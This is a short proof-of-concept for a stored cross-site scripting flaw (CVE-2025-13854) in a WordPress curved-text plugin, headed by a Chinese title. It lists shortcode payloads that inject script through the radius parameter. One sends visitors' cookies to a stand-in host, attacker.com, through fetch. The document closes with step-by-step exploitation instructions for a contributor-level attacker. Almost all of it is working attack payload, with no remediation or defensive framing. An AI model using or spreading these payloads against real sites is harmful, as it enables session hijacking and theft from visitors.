CVE-2025-13854 WordPress Curved Text插件存储型XSS漏洞

<!-- CVE-2025-13854 PoC - Stored XSS via arctext shortcode radius parameter --> <!-- Basic XSS payload --> [arctext radius='"><script>alert(document.cookie)</script>'] Your Text Here [/arctext] <!-- Event handler based XSS payload --> [arctext radius='123' onload='alert(String.fromCharCode(88,83,83))'] Curved Text [/arctext] <!-- Image tag based XSS payload --> [arctext radius='100' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] Text Content [/arctext] <!-- Exploitation scenario: Create a post with contributor access --> <!-- 1. Attacker with Contributor role creates/edits a post --> <!-- 2. Insert the malicious shortcode with XSS payload --> <!-- 3. Publish the post --> <!-- 4. Any user visiting the page will execute the injected JavaScript -->